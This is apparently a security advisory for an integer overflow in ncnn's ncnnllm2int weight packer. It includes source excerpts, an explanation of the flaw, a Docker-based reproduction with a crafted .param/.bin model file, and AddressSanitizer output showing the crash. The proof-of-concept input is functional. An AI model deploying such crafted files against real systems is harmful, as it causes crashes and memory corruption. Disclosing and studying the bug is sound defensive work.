Integer Overflow in Packed-Weight Indexing

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnnllm_quant.h:92 in pack_signed_weight
Sanitizer verdict: SEGV on unknown address 0x763218dfb800 (pc 0x5e0000de6bdf bp 0x7ffe5aaba810 sp 0x7ffe5aaba7d0 T0)

Summary

The LLM weight packer in ncnnllm2int computes a bit offset as k * weight_bits in a signed int. A Gemm layer with a large enough K drives that product past INT_MAX, the offset wraps negative, and the byte index out_bit / 8 addresses memory hundreds of megabytes before the output row, terminating the converter. The attacker supplies the .param/.bin pair handed to ncnnllm2int; the crash occurs while the tool quantizes the model's weights.

Detail

The untrusted field is the Gemm layer's constant K (parameter key 9), which becomes weight_data.w and therefore constantK in pack_weight_data. The allocation path is careful — llm_weight_quantize_packed_k_bytes performs its multiply in size_t and rejects anything over INT_MAX — but the per-element packing routine repeats the same multiplication in int, where it is not representable.

// tools/quantize/ncnnllm_quant.h:57
static inline int llm_weight_quantize_packed_k_bytes(int constantK, int weight_bits)
{
    if (constantK <= 0 || weight_bits <= 0)
        return -1;

    const size_t packed_k_bytes = ((size_t)constantK * weight_bits + 7) / 8;
    if (packed_k_bytes > (size_t)INT_MAX)
        return -1;

    return (int)packed_k_bytes;
}

// tools/quantize/ncnnllm_quant.h:81
static inline void pack_signed_weight(unsigned char* ptr, int k, int weight_bits, int q)
{
    const unsigned int mask = (1u << weight_bits) - 1u;
    const unsigned int v = (unsigned int)q & mask;
    const int bit_offset = k * weight_bits;

    for (int b = 0; b < weight_bits; b++)
    {
        if (v & (1u << b))
        {
            const int out_bit = bit_offset + b;
            ptr[out_bit / 8] |= (unsigned char)(1u << (out_bit % 8));
        }
    }
}

// tools/quantize/ncnnllm_quant.h:298
            for (int k = 0; k < max_kk; k++)
            {
                const int q = float2int_weight(ptr[k0 + k] * scale, weight_bits);
                pack_signed_weight(qptr, k0 + k, weight_bits, q);
            }

The PoC uses K = 268435457 (2^28 + 1) with bits=8, so packed_k_bytes is 268435457 — under INT_MAX, so the guard passes and the row buffer is allocated at that size. pack_weight_data then walks k0 + k from 0 up to constantK - 1 == 268435456 and passes each index to pack_signed_weight as k.

At k == 268435456 the expression k * weight_bits is 2^31, one past the maximum int; the signed overflow is undefined behaviour and in the observed build wraps to INT_MIN. out_bit / 8 is then -268435456, so ptr[-268435456] |= ... performs a read-modify-write roughly 256 MB below the start of the row, which is the SEGV the sanitizer reports. Every subsequent k in that range indexes the same negative region, so the out-of-bounds accesses are neither isolated nor bounded by the allocation the guard vetted.

Reproduce

mkdir -p ncnn-poc-integer-overflow-in-packed-weight-indexing && cd ncnn-poc-integer-overflow-in-packed-weight-indexing

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 3
Input input 0 1 input
Gemm gemm 1 1 input output 3=1 5=1 8=1 9=268435457
PARAM

python3 - <<'BIN'
import struct
k = 268435457
with open('poc.bin', 'wb') as f:
    f.write(struct.pack('<I', 0x01306B47))
    f.seek(4 + (k - 1) * 2)
    f.write(struct.pack('<e', 1.0))
    f.write(b'\0\0')
BIN

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnnllm2int poc.param poc.bin out.param out.bin bits=8

AddressSanitizer output:

quantize_gemm gemm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x750aa99fb800 (pc 0x5da14b431bdf bp 0x7ffea9d755a0 sp 0x7ffea9d75560 T0)
==1==The signal is caused by a READ memory access.
    #0 0x5da14b431bdf in pack_signed_weight /ncnn/tools/quantize/ncnnllm_quant.h:92
    #1 0x5da14b434407 in pack_weight_data /ncnn/tools/quantize/ncnnllm_quant.h:301
    #2 0x5da14b434530 in quantize_weight_data /ncnn/tools/quantize/ncnnllm_quant.h:315
    #3 0x5da14b43b93d in NetQuantize::quantize_gemm(int, int, int) /ncnn/tools/quantize/ncnnllm2int.cpp:484
    #4 0x5da14b467dc0 in main /ncnn/tools/quantize/ncnnllm2int.cpp:1002
    #5 0x750acd3da1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x750acd3da28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5da14b3fc6e4 in _start (/ncnn/build/tools/quantize/ncnnllm2int+0x2a26e4) (BuildId: 425782183b6701315c7daa0360541799400e7e53)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/quantize/ncnnllm_quant.h:92 in pack_signed_weight
==1==ABORTING

Credit

Zheng Yu @ DepthFirst